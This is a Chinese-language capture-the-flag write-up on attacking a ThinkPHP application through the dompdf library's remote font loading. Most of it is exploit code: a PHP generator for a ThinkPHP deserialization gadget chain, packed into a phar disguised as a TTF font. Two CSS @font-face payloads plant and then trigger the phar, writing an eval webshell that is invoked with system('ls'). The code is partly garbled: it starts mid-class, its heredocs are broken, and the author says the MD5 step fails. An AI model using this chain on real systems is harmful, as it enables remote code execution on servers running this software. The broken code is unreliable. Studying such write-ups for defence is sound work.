(资料图片)
这道题是给源码的,是个 thinkphp 项目,可以直接看看控制器
就一个 pdf 方法,用了 dompdf 库,然后把用户传入的 content 写到 pdf 中。既然这么明显,那就搜索 dompdf 漏洞
首先看到:https://ghostasky.github.io/2022/03/19/dompdf/首先看到这里说,如果传入自定义的 css ,那么dompdf 会去加载自定义的 tty 字体文件
@font-face { font-family:"exploitfont"; src:url("http://localhost:9001/xxxx.ttf"); font-weight:"normal"; font-style:"normal"; }
然后系统会重命名 tty 文件,类似为exploitfont_normal_d249c21fbbb1302ab53282354d462d9e.ttf
格式是 font-family_font-style_md5(src:url)
然后系统会把这个文件保存到 dompdf/dompdf/lib/fonts/font-family_font-style_md5(src:url).tty
然后这里就涉及到了,dompdf 的好几个漏洞了,其中一个是,如果你指定下载 xxx.php 文件,最终保存的也是 xxx_xxx_xxx.php 文件,那么这就是一个 shell 写入漏洞了。但是我们这里题目考的是 thinkphp 框架,我们只能访问 public 目录!然后看了别的大佬的 WP,发现这里还设计到一个 phar 反序列化的漏洞,我们可以第一次指定一个 phar 文件,这样这个 pahr 文件会被写入到系统里,然后第二次我们指定 phar://file_to_phar_name
这样就可以触发 phar 反序列化了。
这里需要参考大佬的文章:https://buaq.net/go-129526.html
options["path"] = "php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9HRVRbc3NzXSk7Pz4=/../public/2.php"; # 这里确定写入的文件内容 PD9waHAgQGV2YWwoJF9HRVRbc3NzXSk7Pz4= base64 解码即可。 $this->options["cache_subdir"] = false; $this->options["prefix"] = false; $this->options["data_compress"] = false; $this->tag = 111; }}namespace think\session\driver;use think\cache\driver\File;class Memcached{ protected $handler = null; public function __construct() { $this->handler = new File(); }}namespace think\console;use think\session\driver\Memcached;class Output{ protected $styles = []; private $handle = null; public function __construct() { $this->styles = ["getAttr"]; $this->handle = new Memcached(); }}namespace think\db;use think\console\Output;class Query{ protected $model; public function __construct() { $this->model = new Output(); }}namespace think\model;abstract class Relation{}namespace think\model\relation;use think\model\Relation;abstract class OneToOne extends Relation{}namespace think\model\relation;use think\db\Query;class HasOne{ protected $query; protected $selfRelation; protected $bindAttr = []; public function __construct() { $this->query = new Query(); $this->selfRelation = false; $this->bindAttr = ["key无所谓" => "some string"]; // value 是半可控,不能出现 attr ! }}namespace think;abstract class Model{}namespace think\model;use think\console\Output;use think\Model;use think\model\relation\HasOne;class Pivot extends Model{ protected $error; protected $append = []; public $parent; public function __construct() { $this->append = ["key" => "getError"]; $this->error = new HasOne(); $this->parent = new Output(); }}namespace think\process\pipes;abstract class Pipes{}namespace think\process\pipes;use think\model\Pivot;class Windows extends Pipes{ private $files = []; public function __construct() { $this->files = [new Pivot()]; }}# 内含 phpinfo();$tty_file_bate64 = "AAEAAAAKAO+/vQADACBkdW0xAAAAAAAAAO+/vQAAAAJjbWFwAAwAYAAAAO+/vQAAACxnbHlmNXNj77+9AAAA77+9AAAAFGhlYWQH77+9UTYAAADvv70AAAA2aGhlYQDvv70D77+9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77+9AAABfAAAADhkdW0yAAAAAAAAAe+/vQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe+/ve+/vQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF++/ve+/vRZfDzzvv70ACwBAAAAAAO+/vRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO+/ve+/vQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAKPD9waHAgcGhwaW5mbygpOyA/Pg==";$win = new Windows();@unlink("exp_dompdf.phar");$phar = new \Phar("exp_dompdf.phar");$phar->stopBuffering();$phar->setStub(base64_decode($tty_file_bate64)."");$phar->setMetadata($win);$phar->addFromString("test.txt","test");$phar->stopBuffering();$exp_base = base64_encode(file_get_contents("exp_dompdf.phar"));$url_encode_exp_base = urlencode(urlencode($exp_base));# 第一步$style_str = << @font-face { font-family:"exploit"; src:url("data:text/plain;base64,$url_encode_exp_base"); font-weight:"normal"; font-style:"normal"; } EOF;echo "第一步,传入 phar 文件:\n".$style_str;# 第二步$path = "data:text/plain;base64,".$exp_base;$md5_str = md5($path);$phar_file_path = "phar:///var/www/html/vendor/dompdf/dompdf/lib/fonts/exploit_normal_$md5_str.ttf##";$style_str = << @font-face { font-family:"exploit"; src:url("$phar_file_path"); font-weight:"normal"; font-style:"normal"; } EOF;echo "\n第二步,执行 phar 文件:\n".$style_str;##### 然后我发现这 md5 咋跟 dompdf 系统算出来的不一样呢?????
代码的上半部分是 thinkphp 的任意文件写入反序列化的代码:详见:https://www.yuque.com/sanqiushu-dsz56/efe3vx/knbaoms65g3m1dpq下半部分是 phar 文件和 payload 的生成
然后就是算 MD5 的哪里,就是算不对,真实服了啊没办法只能本地的 dompdf 运行一下看看 md5 是啥了我这里直接给出三次请求的内容吧request 1:
content=
requests2:
content=
request 3:http://localhost:13001/2.php3c5f86b5f2ff9d35f0239a655650272a.php?sss=system("ls");这里的 webshell 密钥是代码哪里写入的 shell 里的写入的 webshell 的位置也是代码中确定的,以前我写的是 /../2.php
导致会跳到根目录就访问不到了。获取 flag